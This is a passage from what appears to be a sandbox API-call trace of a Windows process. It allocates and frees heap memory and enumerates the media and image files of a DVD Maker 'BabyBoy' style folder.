returned 0xfb8730 [0066.099] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb8730) returned 1 [0066.099] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb8730 [0066.100] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xfbcec8 [0066.103] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xfbb350 [0066.104] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb8730) returned 1 [0066.106] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70e29c25, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70e29c25, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x49eb515f, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x2661e, dwReserved0=0x0, dwReserved1=0x0, cFileName="BabyBoyMainToNotesBackground_PAL.wmv", cAlternateFileName="")) returned 1 [0066.107] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb8730 [0066.109] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb8730) returned 1 [0066.112] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb8730 [0066.114] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb8730) returned 1 [0066.115] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb8730 [0066.117] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xfbcee8 [0066.118] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xfbb458 [0066.120] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb8730) returned 1 [0066.121] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70e4fd82, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70e4fd82, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x49eb515f, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x1c9de, dwReserved0=0x0, dwReserved1=0x0, cFileName="BabyBoyMainToScenesBackground.wmv", cAlternateFileName="")) returned 1 [0066.122] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb8730 [0066.125] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb8730) returned 1 [0066.126] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb8730 [0066.127] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb8730) returned 1 [0066.129] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb8730 [0066.131] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xfbcf08 [0066.132] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xfbb560 [0066.133] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb8730) returned 1 [0066.135] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70e4fd82, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70e4fd82, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x49eb515f, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x2279e, dwReserved0=0x0, dwReserved1=0x0, cFileName="BabyBoyMainToScenesBackground_PAL.wmv", cAlternateFileName="")) returned 1 [0066.135] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb8730 [0066.137] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb8730) returned 1 [0066.138] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb8730 [0066.140] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb8730) returned 1 [0066.141] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb8730 [0066.172] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xfbcf28 [0066.172] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xfbb668 [0066.175] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb8730) returned 1 [0066.175] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70ec2199, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70ec2199, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x49edb2bd, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x2666c, dwReserved0=0x0, dwReserved1=0x0, cFileName="BabyBoyNotesBackground.wmv", cAlternateFileName="")) returned 1 [0066.180] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb8730 [0066.182] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb8730) returned 1 [0066.182] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb8730 [0066.185] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb8730) returned 1 [0066.186] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb8730 [0066.188] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xfbcf48 [0066.188] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xfbb770 [0066.190] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb8730) returned 1 [0066.192] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70f345b0, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70f345b0, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x49edb2bd, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x2666c, dwReserved0=0x0, dwReserved1=0x0, cFileName="BabyBoyNotesBackground_PAL.wmv", cAlternateFileName="")) returned 1 [0066.193] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb8730 [0066.195] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb8730) returned 1 [0066.196] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb8730 [0066.198] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb8730) returned 1 [0066.200] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb8730 [0066.200] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xfbcf68 [0066.202] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xfbb878 [0066.204] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb8730) returned 1 [0066.205] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70f5a70d, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70f5a70d, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x49f0141b, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x2472c, dwReserved0=0x0, dwReserved1=0x0, cFileName="BabyBoyScenesBackground.wmv", cAlternateFileName="")) returned 1 [0066.207] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb8730 [0066.208] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb8730) returned 1 [0066.210] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb8730 [0066.212] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb8730) returned 1 [0066.212] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb8730 [0066.214] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xfbcf88 [0066.215] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xfbb980 [0066.217] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb8730) returned 1 [0066.218] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70f8086a, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70f8086a, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x49f0141b, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x1e96c, dwReserved0=0x0, dwReserved1=0x0, cFileName="BabyBoyScenesBackground_PAL.wmv", cAlternateFileName="")) returned 1 [0066.220] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb8730 [0066.222] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb8730) returned 1 [0066.224] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb8730 [0066.225] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb8730) returned 1 [0066.227] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb8730 [0066.228] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xfbcfa8 [0066.229] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xfbba88 [0066.230] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb8730) returned 1 [0066.231] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70fa69c7, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70fa69c7, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x49f0141b, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xdc, dwReserved0=0x0, dwReserved1=0x0, cFileName="LightBlueRectangle.PNG", cAlternateFileName="")) returned 1 [0066.232] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb8730 [0066.234] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb8730) returned 1 [0066.235] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb8730 [0066.237] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb8730) returned 1 [0066.238] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb8730 [0066.240] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xfbcfc8 [0066.349] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xfbbb90 [0066.349] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb8730) returned 1 [0066.349] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70fccb24, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70fccb24, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x49f27579, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xb6a, dwReserved0=0x0, dwReserved1=0x0, cFileName="MainMenuButtonIcon.png", cAlternateFileName="")) returned 1 [0066.349] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb8730 [0066.350] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb8730) returned 1 [0066.350] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb8730 [0066.350] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb8730) returned 1 [0066.350] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb8730 [0066.350] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xfbcfe8 [0066.350] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xfbbc98 [0066.350] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb8730) returned 1 [0066.350] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7103ef3b, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x7103ef3b, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x49f4d6d7, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xf63, dwReserved0=0x0, dwReserved1=0x0, cFileName="navSubpicture.png", cAlternateFileName="")) returned 1 [0066.350] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb8730 [0066.350] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb8730) returned 1 [0066.350] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb8730 [0066.350] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb8730) returned 1 [0066.350] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb8730 [0066.350] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xfbd008 [0066.350] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xfbbda0 [0066.350] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb8730) returned 1 [0066.350] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70fccb24, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70fccb24, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x49f27579, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x1197, dwReserved0=0x0, dwReserved1=0x0, cFileName="nav_leftarrow.png", cAlternateFileName="")) returned 1 [0066.350] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb8730 [0066.350] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb8730) returned 1 [0066.350] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb8730 [0066.350] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb8730) returned 1 [0066.350] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb8730 [0066.350] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xfbd028 [0066.350] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xfbbea8 [0066.350] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb8730) returned 1 [0066.350] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70ff2c81, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70ff2c81, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x49f27579, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x11a3, dwReserved0=0x0, dwReserved1=0x0, cFileName="nav_rightarrow.png", cAlternateFileName="")) returned 1 [0066.351] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb8730 [0066.351] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb8730) returned 1 [0066.351] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb8730 [0066.351] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb8730) returned 1 [0066.351] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb8730 [0066.351] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xfbd048 [0066.351] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xfbbfb0 [0066.351] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb8730) returned 1 [0066.351] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x71018dde, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x71018dde, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x49f4d6d7, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x1068, dwReserved0=0x0, dwReserved1=0x0, cFileName="nav_uparrow.png", cAlternateFileName="")) returned 1 [0066.351] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb8730 [0066.351] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb8730) returned 1 [0066.351] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb8730 [0066.351] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb8730) returned 1 [0066.351] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb8730 [0066.351] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xfbd068 [0066.351] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xfbc0b8 [0066.351] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0xbc0) returned 0xfaa438 [0066.351] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfbd510) returned 1 [0066.351] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb8730) returned 1 [0066.351] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x71018dde, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x71018dde, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x49f4d6d7, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x1068, dwReserved0=0x0, dwReserved1=0x0, cFileName="nav_uparrow.png", cAlternateFileName="")) returned 0 [0066.351] GetLastError () returned 0x12 [0066.351] FindFirstFileExW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\*", fInfoLevelId=0x1, lpFindFileData=0x174ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174ec9c) returned 0x60d120 [0066.352] FindClose (in: hFindFile=0x60d260 | out: hFindFile=0x60d260) returned 1 [0066.352] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9f9e8c42, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa7d4443, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9fbd8be5, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0066.352] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70cace83, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70cace83, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x49cc5f99, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x303d, dwReserved0=0x0, dwReserved1=0x0, cFileName="babyblue.png", cAlternateFileName="")) returned 1 [0066.352] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70d1f29a, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70d1f29a, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x49cec0f7, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x5354a, dwReserved0=0x0, dwReserved1=0x0, cFileName="BabyBoyMainBackground.wmv", cAlternateFileName="")) returned 1 [0066.352] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70d6b554, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70d6b554, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x49cec0f7, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x4f6ca, dwReserved0=0x0, dwReserved1=0x0, cFileName="BabyBoyMainBackground_PAL.wmv", cAlternateFileName="")) returned 1 [0066.352] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70e03ac8, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70e03ac8, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x49d12255, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x2279e, dwReserved0=0x0, dwReserved1=0x0, cFileName="BabyBoyMainToNotesBackground.wmv", cAlternateFileName="")) returned 1 [0066.352] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70e29c25, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70e29c25, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x49eb515f, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x2661e, dwReserved0=0x0, dwReserved1=0x0, cFileName="BabyBoyMainToNotesBackground_PAL.wmv", cAlternateFileName="")) returned 1 [0066.352] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70e4fd82, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70e4fd82, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x49eb515f, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x1c9de, dwReserved0=0x0, dwReserved1=0x0, cFileName="BabyBoyMainToScenesBackground.wmv", cAlternateFileName="")) returned 1 [0066.352] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70e4fd82, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70e4fd82, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x49eb515f, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x2279e, dwReserved0=0x0, dwReserved1=0x0, cFileName="BabyBoyMainToScenesBackground_PAL.wmv", cAlternateFileName="")) returned 1 [0066.352] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70ec2199, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70ec2199, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x49edb2bd, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x2666c, dwReserved0=0x0, dwReserved1=0x0, cFileName="BabyBoyNotesBackground.wmv", cAlternateFileName="")) returned 1 [0066.352] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70f345b0, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70f345b0, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x49edb2bd, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x2666c, dwReserved0=0x0, dwReserved1=0x0, cFileName="BabyBoyNotesBackground_PAL.wmv", cAlternateFileName="")) returned 1 [0066.352] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70f5a70d, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70f5a70d, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x49f0141b, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x2472c, dwReserved0=0x0, dwReserved1=0x0, cFileName="BabyBoyScenesBackground.wmv", cAlternateFileName="")) returned 1 [0066.352] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70f8086a, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70f8086a, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x49f0141b, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x1e96c, dwReserved0=0x0, dwReserved1=0x0, cFileName="BabyBoyScenesBackground_PAL.wmv", cAlternateFileName="")) returned 1 [0066.352] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174ec9c | out: 